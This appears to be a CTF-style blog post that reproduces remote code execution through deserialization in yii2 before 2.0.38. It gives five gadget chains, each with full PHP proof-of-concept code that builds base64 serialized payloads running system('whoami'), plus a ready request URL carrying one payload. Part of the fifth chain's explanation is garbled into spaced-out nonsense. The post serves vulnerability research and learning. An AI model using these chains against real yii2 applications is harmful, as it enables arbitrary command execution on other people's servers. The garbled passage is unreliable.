Recurrence and analysis of yii2 deserialization vulnerability

Keywords: PHP Cyber Security CTF yii

Environment construction

The vulnerability is in the version before yii2.0.38. Download version 2.0.37basic

https://github.com/yiisoft/yii2/releases/tag/2.0.37

Modify the value of the / config/web file

Enter php yii serve in the current directory to start

Reappearance

Construct the deserialization entry first

Create a new controller

<?php


namespace app\controllers;


class SerController extends \yii\web\Controller
{
    public function actionSer($data){
        return unserialize(base64_decode($data));

    }
}

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

Submit

http://localhost:8080/?r=ser/ser&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19

analysis

Recurrence chain I

The entry is the destruct of BatchQueryResult

Follow up reset

Here_ dataReader is controllable, and the close method is called. We can find__ The class of the call method calls the key when a method that does not exist in such an object is called. Call method

Global search__ call to find the methods available in \ vendor\fzaninotto\faker\src\Faker\Generator.php

Close is a parameterless function, and the final call is format(close)

Follow up format

Follow up on getFormatter

formatters are controllable, so the return value of this function is controllable, then call_ user_ func_ The first parameter of array is controllable, but the second parameter is empty, so we need to find available parameterless functions or simply call phpinfo().

You can use regular to find nonparametric functions

function \w+\(\)

The boss's idea is to search call_user_func function

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

rest/IndexAction.php is easy to use

checkAccess and id are controllable. We can call any method.

Recurrence chain II

Or is it based on the BatchQueryResult class__ destruct is the entrance, but does not use__ call and directly find the available close function

Find the close() method in the advanced\vendor\yiisoft\yii2\web\DbSession.php class

Follow up on composeFields()

    protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }
  • If you pass an array to call_user_func_array(), the value of each element of the array will be passed to the callback function as a parameter.
  • If you pass an array to call_user_func(), the whole array will be passed to the callback function as a parameter, and the numeric key will be retained.

There is a call_ user_ Func ($this - > writeCallback, $this) and writeCallback is controllable, and then use this to call the run method in the above chain

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $this->writeCallback=[new IndexAction(),'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

Recurrence chain III

https://github.com/yiisoft/yii2/compare/2.0.37...2.0.38

2.0.38, added__ wakeup(), so BatchQueryResult can no longer be deserialized

Then we can find a new deserialization entry

Global search__ destruct found that the RunProcess class can take advantage of

follow-up

The process here is controllable. We can still use the previous chain call__ Call method

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }
}
namespace Codeception\Extension{

    use Faker\Generator;

    class RunProcess
    {
        private $processes = [];
        public function __construct(){
            $this->processes[]=new Generator();
        }
    }
}
namespace{


    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}

Use success

Recurrence chain four

destruct in lib\classes\Swift\KeyCache\DiskKeyCache.php can also be used as an entry

follow-up

It involves string splicing, which can be found__ toString method

In see.php__ toString can use

    public function __toString() : string
    {
        return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
    }
}

$this - > description is controllable and can be called here__ call

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See
    {
        protected $description;
        public function __construct(){
            $this->description=new Generator();
        }
    }
}

namespace{

    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache
    {
        private $keys = [];
        private $path;
        public function __construct(){
            $this->path=new See();
            $this->keys=array(
                'hello'=>'world'
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

In the process of searching, I found that there are still others that can be used, but some will make mistakes after trying. It seems that__ toString cannot cause exceptions. It's a bit confusing

Then I saw Master Xin https://zhuanlan.zhihu.com/p/257811755 It is said that the view error is not echoed, and the command is executed, but the one I tried still failed to run the command, numb

Recurrence chain 5

There was a game before this chain

It is also the of vendor/codeception/codeception/ext/RunProcess.php__ destruct is the entrance

    public function __destruct()
    {
        $this->stopProcess();
    }

    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }
}

Called through isRunning()__ call method

Previously, it was called with vendor/fakerphp/faker/src/Faker/Generator.php__ call method, but the new version calls wakeup for restriction

public function __wakeup()
    {
        $this->formatters = [];
    }

Use here

**vendor/fakerphp/faker/src/Faker/ValidGenerator.php * * class__ call

    public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }
}

$this - > generator, $this - > validator, $this - > maxretries are controllable, but it's useless. The value of name is fixed, so you can only use this to call other functions__ Call, but calling another call is better than calling that call directly.

However, the call in vendor/fakerphp/faker/src/Faker/DefaultGenerator.php can return any value (default)

Can t h i s − > d e f a u l t set up Set by I Guys of life order , that r e s of value Just yes I Guys of life order , again control system This - > default is set to our command, and the value of res is our command, and then control Set this − > default as our command, and the value of res is our command. Then control this - > validator to system to execute any command

poc

<?php
namespace Faker{

    class DefaultGenerator{
        protected $default ;
        function __construct($argv)
        {
            $this->default = $argv;
        }
    }

    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($command,$argv)
        {
            $this->generator = new DefaultGenerator($argv);
            $this->validator = $command;
            $this->maxRetries = 99999999;
        }
    }
}

namespace Codeception\Extension{
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes = [] ;
        function __construct($command,$argv)
        {
            $this->processes[] = new ValidGenerator($command,$argv);
        }
    }
}

namespace {
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess('system','whoami');
    echo(base64_encode(serialize($exp)));
    exit();
}

reference resources

https://blog.csdn.net/qq_43571759/article/details/108804083

https://zhuanlan.zhihu.com/p/257811755

https://www.anquanke.com/post/id/217929#h2-3

https://xz.aliyun.com/t/9420

Posted by claypots on Mon, 29 Nov 2021 07:48:07 -0800